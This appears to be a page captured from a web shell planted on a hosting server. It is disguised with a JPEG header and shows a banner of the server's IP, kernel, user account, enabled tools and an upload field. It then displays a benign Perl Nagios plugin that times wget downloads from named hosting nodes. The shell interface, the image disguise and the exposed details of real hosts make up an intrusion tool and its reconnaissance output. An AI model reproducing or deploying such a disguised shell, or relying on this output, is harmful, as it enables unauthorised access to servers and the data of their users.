����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/1630575/root/proc/1630575/root/proc/self/root/usr/lib64/nagios/plugins/extra/ |
Upload File : |
#!/usr/bin/env perl
use extreme;
use Carp;
use Time::Out qw(timeout);
use Getopt::Long;
use Regexp::Common qw(URI);
my $exitcode = 0;
my ( $opt_l, @incidents, $speed, $output );
check_args();
for my $pair ( split( ',', $opt_l ) ) {
my ( $uri, $timeout ) = split( ':', $pair );
my $url = 'http://' . $uri;
croak "URL is incorrect!" if $url !~ /^$RE{URI}{HTTP}$/;
croak "Timeout is wrong!" if $timeout !~ /^\d+$/;
timeout $timeout => sub {
`wget -O /dev/null $url 2>&1`;
};
if ($@) {
my $result = "Timeout of $timeout second(s) reached while downloading file from $url.";
push @incidents, $result;
$exitcode = 2;
}
}
if (@incidents) {
say join("\n", @incidents);
}
else {
say 'OK';
}
exit $exitcode;
# subs
sub help {
print "Usage : $0 -l host1:timeout1,host2:timeout2,... \n\n";
print "Options :\n";
print " -l\n\tList of hostnames in format URL:Timeout\n";
print " -h, --help\n\tPrint this help screen\n";
print "\nExample : check_file_content.pl -l cpanel2.v.fozzyhost.com/10MB_file:5,cpanel4.s.fozzyhost.com/10MB_file:8\n";
exit 3;
}
sub check_args {
help if !(@ARGV);
# Set options
GetOptions(
"help|h" => \&help,
"l=s" => \$opt_l
);
unless ($opt_l) {
&help;
}
}